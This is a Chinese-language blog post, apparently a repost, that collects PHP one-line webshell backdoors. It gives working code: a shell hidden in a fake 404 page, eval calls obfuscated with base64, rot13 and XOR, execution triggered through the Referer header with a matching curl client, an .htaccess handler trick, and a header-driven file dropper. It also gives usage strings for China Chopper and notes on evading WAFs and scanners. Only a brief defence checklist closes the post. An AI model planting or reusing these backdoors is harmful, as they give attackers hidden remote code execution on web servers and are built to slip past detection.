一些变态的PHP一句话后门收集
這類后門讓網站、服務器管理員很是頭疼,經常要換著方法進行各種檢測,而很多新出現的編寫技術,用普通的檢測方法是沒法發現并處理的。今天我們細數一些有意思的PHP一句話木馬。
利用404頁面隱藏PHP小馬
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>?
404頁面是網站常用的文件,一般建議好后很少有人會去對它進行檢查修改,這時我們可以利用這一點進行隱藏后門。
無特征隱藏PHP一句話
<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');將$_POST['code']的內容賦值給$_SESSION['theCode'],然后執行$_SESSION['theCode'],亮點是沒有特征碼。用掃描工具來檢查代碼的話,是不會報警的,達到目的了。
超級隱蔽的PHP后門
<?php $_GET[a]($_GET[b]);?>僅用GET函數就構成了木馬;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w% 29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};執行后當前目錄生成c.php一句話木馬,當傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應用。
層級請求,編碼運行PHP后門
此方法用兩個文件實現,文件1
<?php //1.php header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10' && count($a) == 9) {eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); }文件2
<?php //2.php header('Content-type:text/html;charset=utf-8'); //要執行的代碼 $code = <<<CODE phpinfo(); CODE; //進行base64編碼 $code = base64_encode($code); //構造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后門url $url = 'http://localhost/test1/1.php'; $ch = curl_init(); $options = array(CURLOPT_URL => $url,CURLOPT_HEADER => FALSE,CURLOPT_RETURNTRANSFER => TRUE,CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echo curl_exec($ch);通過HTTP請求中的HTTP_REFERER來運行經過base64編碼的代碼,來達到后門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測。用這個思路bypass waf不錯。
PHP后門生成工具weevely
weevely是一款針對PHP的webshell的自由軟件,可用于模擬一個類似于telnet的連接shell,weevely通常用于web程序的 漏洞利用,隱藏后門或者使用類似telnet的方式來代替web 頁面式的管理,weevely生成的服務器端php代碼是經過了base64編碼的,所以可以騙過主流的殺毒軟件和IDS,上傳服務器端代碼后通常可以通 過weevely直接運行。
weevely所生成的PHP后門所使用的方法是現在比較主流的base64加密結合字符串變形技術,后門中所使用的函數均是常用的字符串處理函數,被作 為檢查規則的eval,system等函數都不會直接出現在代碼中,從而可以致使后門文件繞過后門查找工具的檢查。使用暗組的Web后門查殺工具進行掃 描,結果顯示該文件無任何威脅。
以上是大概介紹下邊是截圖,相關使用方法亦家就不在這介紹了,簡單的科普一下。
三個變形的一句話PHP木馬
第一個
<?php ($_=@$_GET[2]).@$_($_POST[1])?>在菜刀里寫http://site/1.php?2=assert密碼是1
第二個
<?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php ${'_'.$_}['_'](${'_'.$_}['__']);?>在菜刀里寫http://site/2.php?_=assert&__=eval($_POST['pass']) 密碼是pass。
如果你用菜刀的附加數據的話更隱蔽,或者用其它注射工具也可以,因為是post提交的。
第三個
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');str_rot13(‘riny’)即編碼后的eval,完全避開了關鍵字,又不失效果,讓人吐血!
.htaccess做PHP后門
這個其實在2007年的時候作者GaRY就爆出了,只是后邊沒人關注,這個利用關鍵點在于一句話:
AddType application/x-httpd-php .htaccess ###### SHELL ###### 這里寫上你的后門吧###### LLEHS ######toby57解析加密一句話木馬
此段后門使用方法會與其它方法不太一樣,具體看下面
Client:
<?php if(crypt($_SERVER['HTTP_H0ST'],51)=='514zR17F8j0q6'){@file_put_contents($_SERVER['HTTP_X'],$_SERVER['HTTP_Y']); header("Location: ./".$_SERVER['HTTP_X']);}; ?>Server:
<?php $fp = fsockopen("127.0.0.1",80,$errno,$errstr,5); if (!$fp){ echo('fp fail'); } $out = "GET /php_muma/client.php HTTP/1.1\r\n"; $out .= "Content-Type: application/x-www-form-urlencoded\r\n"; $out .= "User-Agent: MSIE\r\n"; $out .= "Host: 127.0.0.1\r\n"; $out .= "H0ST: qiushui51a\r\n"; $out .= "X: ../shell.php \r\n"; $out .= "Y: <?php eval(\$_POST1);?>\r\n"; $out .= "Connection: close\r\n\r\n"; fwrite($fp,$out); while(!feof($fp)){ $resp_str=""; $resp_str .= fgets($fp,512);//返回值放入$resp_str } fclose($fp); echo($resp_str);//處理返回值. ?>?
對服務端與客戶端指令對比,如一致則執行后門指令。
最后列幾個高級的PHP一句話木馬后門
1、 $hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句話 2、 $filename=$_GET['xbid']; include ($filename); //危險的include函數,直接編譯任何文件為php格式運行 3、 $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); //重命名任何文件 4、 $gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $gzid("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句話 5、include ($uid); //危險的include函數,直接編譯任何文件為php格式運行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif //gif插一句話 6、典型一句話 程序后門代碼 <?php eval_r($_POST[sb])?> 程序代碼 <?php @eval_r($_POST[sb])?> //容錯代碼 程序代碼 <?php assert($_POST[sb]);?> //使用lanker一句話客戶端的專家模式執行相關的php語句 程序代碼 <?$_POST['sa']($_POST['sb']);?> 程序代碼 <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 程序代碼 <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入 程序代碼 <O>h=@eval_r($_POST1);</O> 程序代碼 <script language="php">@eval_r($_POST[sb])</script> //繞過<?限制的一句話如何應對PHP一句話后門
我們強調幾個關鍵點,看這文章的你相信不是門外漢,我也就不啰嗦了:
- 對PHP程序編寫要有安全意識
- 服務器日志文件要經常看,經常備份
- 對每個站點進行嚴格的權限分配
- 對動態文件及目錄經常批量安全審查
- 學會如何進行手工殺毒《即行為判斷查殺》
- 時刻關注,或滲入活躍的網絡安全營地
- 對服務器環境層級化處理,哪怕一個函數也可做規則
轉載于:https://www.cnblogs.com/hookjoy/p/4372724.html
總結
以上是生活随笔為你收集整理的一些变态的PHP一句话后门收集的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: BootStrap网格布局
- 下一篇: xmanager远程登录